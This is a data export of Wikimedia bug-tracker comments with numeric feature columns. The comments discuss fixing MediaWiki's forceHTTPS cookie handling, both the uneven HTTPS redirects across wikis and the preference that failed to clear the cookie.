https://gerrit.wikimedia.org/r/82065",,,1378053669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.473684210526316,1.0,"Change 82065 merged by jenkins-bot:
Also redirect if prefixed https cookie is preset

GERRIT_URL"
248826,Logged users redirected to HTTPS only on some wikis,"Change 82065 had a related patch set uploaded by CSteipp:
Also redirect if prefixed https cookie is preset

https://gerrit.wikimedia.org/r/82065",,,1377907281,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,1.0,"Change 82065 had a related patch set uploaded by CSteipp:
Also redirect if prefixed https cookie is preset

GERRIT_URL"
248817,Logged users redirected to HTTPS only on some wikis,"If the old cookie is kept it will be until the end of September (4-5 WMF deployments) before natural expiration, and the code for the old cookie will become useless. Perhaps it is better to keep the old cookie to make smoother the transition? (I have no real opinion.)",,,1377821916,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,2.0,0.0,14.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,8.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,5.0,12.0,3.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.7288135593220337,0.7288135593220338,"If the old cookie is kept it will be until the end of September (4-5 WMF deployments) before natural expiration, and the code for the old cookie will become useless. Perhaps it is better to keep the old cookie to make smoother the transition? (I have no real opinion.)"
248808,Logged users redirected to HTTPS only on some wikis,"It will go out with wmf16, on Sept 5th, unless we push it out early. I could also add a check for the old cookie name.",,,1377818229,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,20.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.1,0.9,"It will go out with wmf16, on Sept 5th, unless we push it out early. I could also add a check for the old cookie name."
248802,Logged users redirected to HTTPS only on some wikis,"Thanks for your changes.

These changes will temporary break the redirections from HTTP to HTTPS for logged users when it will be deployed until the next login. If possible I think it is better to let wikitech ambassadors know this fact to reduce surprises of the editors; the next Tech News will be probably issued in English tommorow evening, is there an expected deployment date for these two changes? (I don’t know how it is scheduled)",,,1377816874,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,4.0,0.0,11.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,5.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,6.0,6.0,12.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,7.0,13.0,5.0,1.0,0.0,0.0,7.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,4.294117647058823,0.7647058823529411,"Thanks for your changes.

These changes will temporary break the redirections from HTTP to HTTPS for logged users when it will be deployed until the next login. If possible I think it is better to let wikitech ambassadors know this fact to reduce surprises of the editors; the next Tech News will be probably issued in English tommorow evening, is there an expected deployment date for these two changes? (I don’t know how it is scheduled)"
248797,Logged users redirected to HTTPS only on some wikis,"Change 81867 merged by jenkins-bot:
Remove prefix from forceHTTPS cookie

https://gerrit.wikimedia.org/r/81867",,,1377810176,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 81867 merged by jenkins-bot:
Remove prefix from forceHTTPS cookie

GERRIT_URL"
248794,Logged users redirected to HTTPS only on some wikis,"Change 81867 had a related patch set uploaded by CSteipp:
Remove prefix from forceHTTPS cookie

https://gerrit.wikimedia.org/r/81867",,,1377809832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.894736842105263,1.0,"Change 81867 had a related patch set uploaded by CSteipp:
Remove prefix from forceHTTPS cookie

GERRIT_URL"
248790,Logged users redirected to HTTPS only on some wikis,"Change 81864 merged by jenkins-bot:
Remove prefix from forceHTTPS cookie

https://gerrit.wikimedia.org/r/81864",,,1377809787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 81864 merged by jenkins-bot:
Remove prefix from forceHTTPS cookie

GERRIT_URL"
248786,Logged users redirected to HTTPS only on some wikis,"Change 81864 had a related patch set uploaded by CSteipp:
Remove prefix from forceHTTPS cookie

https://gerrit.wikimedia.org/r/81864",,,1377808874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.894736842105263,1.0,"Change 81864 had a related patch set uploaded by CSteipp:
Remove prefix from forceHTTPS cookie

GERRIT_URL"
248783,Logged users redirected to HTTPS only on some wikis,"A solution for this bug would be to set non-prefixed forceHTTPS cookies (name=""forceHTTPS"") in the global domains.

This solution should be implemented in MediaWiki to check the existence of non-prefixed forceHTTPS cookies (Wiki::main) and in CentralAuthUser::setGlobalCookies.

This solution would facilitate the resolution of bug 53536 because all domains would have the same cookie, as opposed to the current situation where the original wiki project (where the user logged in) is prefixed by the original language wiki (e.g. frwikiforceHTTPS set on .wikipedia.org domain) and the other wiki projects prefixed by the English-language wikis (e.g. enwikisourceforceHTTPS).",,,1377788753,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,1.0,0.0,0.0,1.5,0.0,8.5,0.5,0.5,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,9.5,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,14.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,4.0,2.0,1.5,10.5,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,0.0,9.5,2.5,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,4.97311513734658,0.6668614845119814,"A solution for this bug would be to set non-prefixed forceHTTPS cookies (name=""forceHTTPS"") in the global domains.

This solution should be implemented in MediaWiki to check the existence of non-prefixed forceHTTPS cookies (Wiki::main) and in CentralAuthUser::setGlobalCookies.

This solution would facilitate the resolution of bug 53536 because all domains would have the same cookie, as opposed to the current situation where the original wiki project (where the user logged in) is prefixed by the original language wiki (e.g. frwikiforceHTTPS set on .wikipedia.org domain) and the other wiki projects prefixed by the English-language wikis (e.g. enwikisourceforceHTTPS)."
55379,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","$wgSecureLogin is enabled on test2 wiki, so my logins redirect to https.  The fix for bug 29898 is also on test2 wiki, so I have a preference ""Always use a secure connection when logged in"" which defaults to checked.

But if I uncheck this and save my preferences, I can't access the site over HTTP -- I still get redirected to https. It's very confusing. No matter what I do, accessing any page over HTTP redirects me to the https secure URL until I logout.

It's happening because my UserLogin sets $wgCookiePrefixforceHTTPS to true, and changing the preference does NOT clear this cookie. I have to logout, after logging back in (which redirects to secure page), I can then access other pages over http.

Changing the 'prefershttps' preference should clear the cookie, or the preference needs a warning/tooltip/explanation that ""This change will only take effect after you log out and log back in.""

--------------------------
**Version**: 1.22.0
**Severity**: major",High,80.0,1377556080,1378052706.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_description,resolved,True,c2,2,False,False,True,-1,True,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,1.3333333333333333,0.0,0.3333333333333333,0.0,4.0,0.0,5.666666666666667,8.666666666666666,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,10.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,4.0,0.6666666666666666,8.333333333333334,1.6666666666666667,2.0,6.666666666666667,0.0,0.0,0.0,0.0,4.0,0.0,0.6666666666666666,0.0,5.666666666666667,8.666666666666666,1.3333333333333333,0.0,2.6666666666666665,0.0,5.666666666666667,0.0,1.3333333333333333,1.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,3.9340234644582472,0.7449965493443754,"$wgSecureLogin is enabled on test2 wiki, so my logins redirect to https.  The fix for bug 29898 is also on test2 wiki, so I have a preference ""Always use a secure connection when logged in"" which defaults to checked.

But if I uncheck this and save my preferences, I can't access the site over HTTP -- I still get redirected to https. It's very confusing. No matter what I do, accessing any page over HTTP redirects me to the https secure URL until I logout.

It's happening because my UserLogin sets $wgCookiePrefixforceHTTPS to true, and changing the preference does NOT clear this cookie. I have to logout, after logging back in (which redirects to secure page), I can then access other pages over http.

Changing the 'prefershttps' preference should clear the cookie, or the preference needs a warning/tooltip/explanation that ""This change will only take effect after you log out and log back in.""

--------------------------
**Version**: 1.22.0
**Severity**: major"
239518,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","(In reply to comment #15)
Well Facebook gets this right with a single choice,
so once this is working right on Wikipedia (yet?) one will be enough...",,,1381753454,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,11.0,5.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,3.0,3.0,0.0,3.0,16.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3783783783783785,0.8648648648648649,"(In reply to comment #15)
Well Facebook gets this right with a single choice,
so once this is working right on Wikipedia (yet?) one will be enough..."
239513,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","(In reply to comment #14)
> Please add a second preference:

Please file separate requests as separate tickets (though I can imagine this request to be a WONTFIX as I'm not convinced how large the userbase would be for adding yet another preference.)",,,1381742437,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.978723404255319,0.851063829787234,"(In reply to comment #14)
QUOTE

Please file separate requests as separate tickets (though I can imagine this request to be a WONTFIX as I'm not convinced how large the userbase would be for adding yet another preference.)"
239509,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Please add a second preference:
[ ] Never use a secure connection (HTTPS) when logged in.
for those who wish totally the converse.",,,1381695889,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,3.6666666666666665,0.9,"Please add a second preference:
[ ] Never use a secure connection (HTTPS) when logged in.
for those who wish totally the converse."
239504,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","I don't know about deployed, but definitely fixed.",,,1378052706,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,"I don't know about deployed, but definitely fixed."
239499,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set",Is this fixed and deployed now?,,,1378026410,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Is this fixed and deployed now?
239496,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Change 81614 abandoned by Seb35:
Set a non-secure attribute when clearing a cookie

Reason:
This change was integrated in the more general change I3c16ff92781e1a72346058ae3838d8fc47019d55

https://gerrit.wikimedia.org/r/81614",,,1377815239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,21.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,3.0,0.0,0.0,5.424242424242424,0.8484848484848485,"Change 81614 abandoned by Seb35:
Set a non-secure attribute when clearing a cookie

Reason:
This change was integrated in the more general change I3c16ff92781e1a72346058ae3838d8fc47019d55

GERRIT_URL"
239491,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Thanks for the research Seb35. In most browsers, cookies with the same name will overwrite each other, even with different security, but there could be some browsers that don't. If you see any that follow that behavior, we could add your patch in. Otherwise, I think I'll focus on getting bug 53536 fixed.",,,1377791540,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,True,,,0,True,5.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,2.0,5.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,3.953125,0.78125,"Thanks for the research Seb35. In most browsers, cookies with the same name will overwrite each other, even with different security, but there could be some browsers that don't. If you see any that follow that behavior, we could add your patch in. Otherwise, I think I'll focus on getting bug 53536 fixed."
239487,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","I was mistaken, sorry, a non-secure cookie can be deleted by a corresponding secure cookie. I just tried again with Opera and Firefox and they are really deleted (I probably worked too late last night), as it seems to be confirmed by the function nsCookieService::GetCookieStringInternal [1] in Mozilla (I guess it’s this one, although not sure). Therefore my gerrit patch is not useful, apart if some browsers search their internal database with exactly the same value for the secure attribute.

The bug in Wikimedia environment stays but only because the .wikipedia.org cookie is not deleted (the local one is deleted). By the way I should have open a new bug since it is a bit different than the original description, I read too quickly the description, sorry. This specific bug is 53536.

[1] http://mxr.mozilla.org/mozilla-central/source/netwerk/cookie/nsCookieService.cpp",,,1377785323,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0.5,0.0,0.0,2.5,1.5,11.0,1.5,0.5,0.5,0.5,2.0,0.0,0.0,0.5,0.0,3.5,0.0,7.5,8.5,0.0,0.5,0.5,0.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,6.0,0.5,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,2.5,1.5,0.5,0.0,0.0,0.0,10.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,7.5,5.0,8.5,2.0,1.5,9.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,6.5,8.5,2.5,0.0,0.0,0.0,6.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,4.12962962962963,0.7592592592592593,"I was mistaken, sorry, a non-secure cookie can be deleted by a corresponding secure cookie. I just tried again with Opera and Firefox and they are really deleted (I probably worked too late last night), as it seems to be confirmed by the function nsCookieService::GetCookieStringInternal [1] in Mozilla (I guess it’s this one, although not sure). Therefore my gerrit patch is not useful, apart if some browsers search their internal database with exactly the same value for the secure attribute.

The bug in Wikimedia environment stays but only because the .wikipedia.org cookie is not deleted (the local one is deleted). By the way I should have open a new bug since it is a bit different than the original description, I read too quickly the description, sorry. This specific bug is 53536.

[1] URL"
239482,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","I confirm experimentally that removing the Secure attribute to the forceHTTPS cookie correctly delete the cookie when log out (on Opera 12.16 and Firefox 20.0). A step to really confirm this is to dive into the source code of Firefox, or perhaps try to better examinate the RFC 6265.

(I should have tested it before submitting the gerrit patch, sorry, it’s the first gerrit patch I submit.)",,,1377741927,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,8.0,13.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,10.0,1.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,6.0,13.0,8.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,4.1265822784810124,0.7088607594936709,"I confirm experimentally that removing the Secure attribute to the forceHTTPS cookie correctly delete the cookie when log out (on Opera 12.16 and Firefox 20.0). A step to really confirm this is to dive into the source code of Firefox, or perhaps try to better examinate the RFC 6265.

(I should have tested it before submitting the gerrit patch, sorry, it’s the first gerrit patch I submit.)"
239478,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Change 81614 had a related patch set uploaded by Seb35:
Set a non-secure attribute when clearing a cookie

